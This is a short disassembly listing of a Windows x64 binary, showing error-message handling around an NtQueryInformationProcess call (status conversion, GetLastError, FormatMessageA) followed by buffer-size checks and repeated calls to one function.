call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edi, eax
lea rbx, [0x1400f70f0]
cmp eax, 0x13d
jne 0x140005055
mov edx, esi
lea rcx, str.Error_at_getting_the_error_code_of_ntstatus_0x_lx_n
jmp 0x140005097
cmp eax, 0xffffffff
jne 0x140005062
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, edi
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x14000509c
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_NtQueryInformationProcess__status_code_msg___s_n
mov rdx, rbx
call fcn.140001d30
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x140004fa6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400050f6
jmp 0x140004fa1
call fcn.14003a174
nop
call fcn.14003a174
nop
call fcn.14003a174
nop
call fcn.14003a174
nop
call fcn.14003a174
nop
call fcn.14003a174
nop
call fcn.14003a174
int3